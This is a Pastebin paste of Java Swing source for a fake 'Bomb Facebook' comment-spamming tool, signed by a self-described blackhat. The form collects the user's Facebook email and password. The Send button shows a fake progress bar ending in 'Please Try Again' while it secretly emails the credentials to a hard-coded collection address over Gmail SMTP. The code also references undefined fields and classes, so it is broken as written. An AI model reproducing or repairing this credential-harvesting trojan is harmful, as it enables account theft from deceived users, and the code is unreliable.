Advertisement
cyberking

Phissing Account ( Bomb Comment )

Feb 8th, 2016
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 15.81 KB | None | 0 0
  1. /*
  2.  * Coded By Cyberking
  3.  * Indonesian Backtrack Team
  4.  * email : cyberking@indonesianbacktrack.or.id
  5.  * PC Name : Astronot
  6.  * website : cyberking.id
  7.  * STILL BLACKHAT - MAFIA
  8.  */
  9.  
  10. import java.util.logging.Logger;
  11. import javax.mail.Message;
  12. import javax.mail.MessagingException;
  13. import javax.mail.PasswordAuthentication;
  14. import javax.mail.Session;
  15. import javax.mail.Transport;
  16. import javax.mail.internet.InternetAddress;
  17. import javax.mail.internet.MimeMessage;
  18. import javax.swing.BorderFactory;
  19. import javax.swing.JOptionPane;
  20. import javax.swing.border.Border;
  21.  
  22.  
  23. /**
  24.  *
  25.  * @author Astronot
  26.  */
  27. public class fbomcom extends javax.swing.JFrame {
  28.  
  29.     /**
  30.      * Creates new form fbomcom
  31.      */
  32.     public fbomcom() {
  33.         initComponents();
  34.     }
  35.  
  36.     /**
  37.      * This method is called from within the constructor to initialize the form.
  38.      * WARNING: Do NOT modify this code. The content of this method is always
  39.      * regenerated by the Form Editor.
  40.      */
  41.     @SuppressWarnings("unchecked")
  42.     // <editor-fold defaultstate="collapsed" desc="Generated Code">                          
  43.     private void initComponents() {
  44.  
  45.         jDesktopPane1 = new javax.swing.JDesktopPane();
  46.         jLabel1 = new javax.swing.JLabel();
  47.         jLabel2 = new javax.swing.JLabel();
  48.         jLabel3 = new javax.swing.JLabel();
  49.         jLabel4 = new javax.swing.JLabel();
  50.         jLabel5 = new javax.swing.JLabel();
  51.         jLabel6 = new javax.swing.JLabel();
  52.         jProgressBar1 = new javax.swing.JProgressBar();
  53.         jButton1 = new javax.swing.JButton();
  54.         jTextField1 = new javax.swing.JTextField();
  55.         jTextField2 = new javax.swing.JTextField();
  56.         jTextField3 = new javax.swing.JTextField();
  57.         jScrollPane1 = new javax.swing.JScrollPane();
  58.         jTextArea1 = new javax.swing.JTextArea();
  59.         jTextField4 = new javax.swing.JTextField();
  60.  
  61.         setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
  62.  
  63.         jDesktopPane1.setBackground(new java.awt.Color(153, 153, 153));
  64.  
  65.         jLabel1.setFont(new java.awt.Font("Times New Roman", 1, 18)); // NOI18N
  66.         jLabel1.setHorizontalAlignment(javax.swing.SwingConstants.CENTER);
  67.         jLabel1.setText("Bomb Facebook");
  68.  
  69.         jLabel2.setFont(new java.awt.Font("Tunga", 1, 14)); // NOI18N
  70.         jLabel2.setText("Email");
  71.  
  72.         jLabel3.setFont(new java.awt.Font("Tunga", 1, 14)); // NOI18N
  73.         jLabel3.setText("Password");
  74.  
  75.         jLabel4.setFont(new java.awt.Font("Tunga", 1, 14)); // NOI18N
  76.         jLabel4.setText("Target");
  77.  
  78.         jLabel5.setFont(new java.awt.Font("Tunga", 1, 14)); // NOI18N
  79.         jLabel5.setText("Komentar");
  80.  
  81.         jLabel6.setFont(new java.awt.Font("Tunga", 1, 14)); // NOI18N
  82.         jLabel6.setText("Jumlah");
  83.  
  84.         jButton1.setFont(new java.awt.Font("Tahoma", 1, 11)); // NOI18N
  85.         jButton1.setText("Kirim");
  86.         jButton1.addActionListener(new java.awt.event.ActionListener() {
  87.             public void actionPerformed(java.awt.event.ActionEvent evt) {
  88.                 jButton1ActionPerformed(evt);
  89.             }
  90.         });
  91.  
  92.         jTextField1.addActionListener(new java.awt.event.ActionListener() {
  93.             public void actionPerformed(java.awt.event.ActionEvent evt) {
  94.                 jTextField1ActionPerformed(evt);
  95.             }
  96.         });
  97.  
  98.         jTextArea1.setColumns(20);
  99.         jTextArea1.setRows(5);
  100.         jScrollPane1.setViewportView(jTextArea1);
  101.  
  102.         jDesktopPane1.setLayer(jLabel1, javax.swing.JLayeredPane.DEFAULT_LAYER);
  103.         jDesktopPane1.setLayer(jLabel2, javax.swing.JLayeredPane.DEFAULT_LAYER);
  104.         jDesktopPane1.setLayer(jLabel3, javax.swing.JLayeredPane.DEFAULT_LAYER);
  105.         jDesktopPane1.setLayer(jLabel4, javax.swing.JLayeredPane.DEFAULT_LAYER);
  106.         jDesktopPane1.setLayer(jLabel5, javax.swing.JLayeredPane.DEFAULT_LAYER);
  107.         jDesktopPane1.setLayer(jLabel6, javax.swing.JLayeredPane.DEFAULT_LAYER);
  108.         jDesktopPane1.setLayer(jProgressBar1, javax.swing.JLayeredPane.DEFAULT_LAYER);
  109.         jDesktopPane1.setLayer(jButton1, javax.swing.JLayeredPane.DEFAULT_LAYER);
  110.         jDesktopPane1.setLayer(jTextField1, javax.swing.JLayeredPane.DEFAULT_LAYER);
  111.         jDesktopPane1.setLayer(jTextField2, javax.swing.JLayeredPane.DEFAULT_LAYER);
  112.         jDesktopPane1.setLayer(jTextField3, javax.swing.JLayeredPane.DEFAULT_LAYER);
  113.         jDesktopPane1.setLayer(jScrollPane1, javax.swing.JLayeredPane.DEFAULT_LAYER);
  114.         jDesktopPane1.setLayer(jTextField4, javax.swing.JLayeredPane.DEFAULT_LAYER);
  115.  
  116.         javax.swing.GroupLayout jDesktopPane1Layout = new javax.swing.GroupLayout(jDesktopPane1);
  117.         jDesktopPane1.setLayout(jDesktopPane1Layout);
  118.         jDesktopPane1Layout.setHorizontalGroup(
  119.             jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  120.             .addGroup(jDesktopPane1Layout.createSequentialGroup()
  121.                 .addGap(40, 40, 40)
  122.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  123.                     .addGroup(jDesktopPane1Layout.createSequentialGroup()
  124.                         .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  125.                             .addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  126.                             .addComponent(jLabel3, javax.swing.GroupLayout.DEFAULT_SIZE, 113, Short.MAX_VALUE)
  127.                             .addComponent(jLabel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  128.                             .addComponent(jLabel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  129.                             .addComponent(jLabel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  130.                         .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  131.                         .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  132.                             .addComponent(jTextField1)
  133.                             .addComponent(jTextField2)
  134.                             .addComponent(jTextField3)
  135.                             .addComponent(jScrollPane1)
  136.                             .addComponent(jTextField4)))
  137.                     .addComponent(jProgressBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 417, javax.swing.GroupLayout.PREFERRED_SIZE))
  138.                 .addContainerGap(43, Short.MAX_VALUE))
  139.             .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jDesktopPane1Layout.createSequentialGroup()
  140.                 .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  141.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  142.                     .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jDesktopPane1Layout.createSequentialGroup()
  143.                         .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 170, javax.swing.GroupLayout.PREFERRED_SIZE)
  144.                         .addGap(163, 163, 163))
  145.                     .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jDesktopPane1Layout.createSequentialGroup()
  146.                         .addComponent(jButton1)
  147.                         .addGap(210, 210, 210))))
  148.         );
  149.         jDesktopPane1Layout.setVerticalGroup(
  150.             jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  151.             .addGroup(jDesktopPane1Layout.createSequentialGroup()
  152.                 .addContainerGap()
  153.                 .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE)
  154.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  155.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  156.                     .addComponent(jTextField1)
  157.                     .addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  158.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  159.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  160.                     .addComponent(jTextField2)
  161.                     .addComponent(jLabel3, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE))
  162.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  163.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  164.                     .addComponent(jTextField3)
  165.                     .addComponent(jLabel4, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE))
  166.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  167.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  168.                     .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, 26, javax.swing.GroupLayout.PREFERRED_SIZE)
  169.                     .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
  170.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  171.                 .addGroup(jDesktopPane1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  172.                     .addComponent(jTextField4)
  173.                     .addComponent(jLabel6, javax.swing.GroupLayout.DEFAULT_SIZE, 26, Short.MAX_VALUE))
  174.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  175.                 .addComponent(jButton1)
  176.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  177.                 .addComponent(jProgressBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 24, javax.swing.GroupLayout.PREFERRED_SIZE)
  178.                 .addContainerGap())
  179.         );
  180.  
  181.         javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
  182.         getContentPane().setLayout(layout);
  183.         layout.setHorizontalGroup(
  184.             layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  185.             .addComponent(jDesktopPane1)
  186.         );
  187.         layout.setVerticalGroup(
  188.             layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  189.             .addComponent(jDesktopPane1)
  190.         );
  191.  
  192.         pack();
  193.     }// </editor-fold>                        
  194.  
  195.     private void jTextField1ActionPerformed(java.awt.event.ActionEvent evt) {                                            
  196.         // TODO add your handling code here:
  197.     }                                          
  198.  
  199.     private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {                                        
  200.         // TODO add your handling code here:
  201.     ngeloding();
  202.     ngemail();
  203.  
  204.     }                                        
  205.    
  206.     /**
  207.      * Proses
  208.      */
  209.    
  210.     public void ngeloding() {
  211.         Thread tread = new Thread() {
  212.             public void run() {
  213.                 progress();
  214.             }
  215.         };
  216.         tread.start();
  217.        
  218.     }
  219.    
  220.     public void progress() {
  221.         while (jProgressBar1.getValue() < 80) {
  222.             jProgressBar1.setValue(jProgressBar1.getValue() + 1);
  223.             try {
  224.                 Thread.sleep(250);
  225.             } catch (InterruptedException ex) {
  226.                 Logger.getLogger(phisingemail.class.getName()).log(Level.SEVERE, null, ex);
  227.             }
  228.             if (jProgressBar1.getValue() == 80) {
  229.                 JOptionPane.showMessageDialog(this, "Please Try Again", "Informasi", JOptionPane.INFORMATION_MESSAGE);
  230.             }
  231.         }
  232.         jProgressBar1.setValue(0);
  233.     }
  234.  
  235. /*
  236.  * make smtp gmail
  237.  * diubah sesuai kebutuhan dan settingn server smtpmasing" =))
  238.  */
  239.     public void ngemail(){
  240.         Properties props = new Properties();
  241.         props.put("mail.smtp.host", "smtp.gmail.com");
  242.         props.put("mail.smtp.socketFactory.port", "465");
  243.         props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
  244.         props.put("mail.smtp.auth", "true");
  245.         props.put("mail.smtp.port", "465");
  246.         Session session = Session.getDefaultInstance(props,
  247.                 new javax.mail.Authenticator() {
  248.                 @Override
  249.                 protected PasswordAuthentication getPasswordAuthentication() {
  250.                     return new PasswordAuthentication("cyberking@indonesianbacktrack.or.id", "Pass Email");
  251.                     }
  252.                 });
  253. /*
  254.  * Isis pesan
  255.  */
  256.         try {
  257.  
  258.             Message message = new MimeMessage(session);
  259.             message.setFrom(new InternetAddress("cyberking@indonesianbacktrack.or.id"));
  260.             message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("emaillog@idblackhat.org"));
  261.             message.setSubject("Dapet Akun FB");
  262.             message.setText(" email :" + ffield1.getText() + "\n pass :" + ffield2.getText());
  263.             Transport.send(message);
  264.             System.out.println("Success!");
  265.         }
  266.         catch (MessagingException e) {
  267.             System.out.println("Fail, Try Again.");
  268.         }
  269.     }
  270.    
  271.     /**
  272.      * @param args the command line arguments
  273.      */
  274.     public static void main(String args[]) {
  275.         /* Set the Nimbus look and feel */
  276.         //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
  277.         /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
  278.          * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
  279.          */
  280.         try {
  281.             for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
  282.                 if ("Nimbus".equals(info.getName())) {
  283.                     javax.swing.UIManager.setLookAndFeel(info.getClassName());
  284.                     break;
  285.                 }
  286.             }
  287.         } catch (ClassNotFoundException ex) {
  288.             java.util.logging.Logger.getLogger(fbomcom.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  289.         } catch (InstantiationException ex) {
  290.             java.util.logging.Logger.getLogger(fbomcom.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  291.         } catch (IllegalAccessException ex) {
  292.             java.util.logging.Logger.getLogger(fbomcom.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  293.         } catch (javax.swing.UnsupportedLookAndFeelException ex) {
  294.             java.util.logging.Logger.getLogger(fbomcom.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  295.         }
  296.         //</editor-fold>
  297.  
  298.         /* Create and display the form */
  299.         java.awt.EventQueue.invokeLater(new Runnable() {
  300.             public void run() {
  301.                 new fbomcom().setVisible(true);
  302.             }
  303.         });
  304.     }
  305.  
  306.     // Variables declaration - do not modify                    
  307.     private javax.swing.JButton jButton1;
  308.     private javax.swing.JDesktopPane jDesktopPane1;
  309.     private javax.swing.JLabel jLabel1;
  310.     private javax.swing.JLabel jLabel2;
  311.     private javax.swing.JLabel jLabel3;
  312.     private javax.swing.JLabel jLabel4;
  313.     private javax.swing.JLabel jLabel5;
  314.     private javax.swing.JLabel jLabel6;
  315.     private javax.swing.JProgressBar jProgressBar1;
  316.     private javax.swing.JScrollPane jScrollPane1;
  317.     private javax.swing.JTextArea jTextArea1;
  318.     private javax.swing.JTextField jTextField1;
  319.     private javax.swing.JTextField jTextField2;
  320.     private javax.swing.JTextField jTextField3;
  321.     private javax.swing.JTextField jTextField4;
  322.     // End of variables declaration                  
  323. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement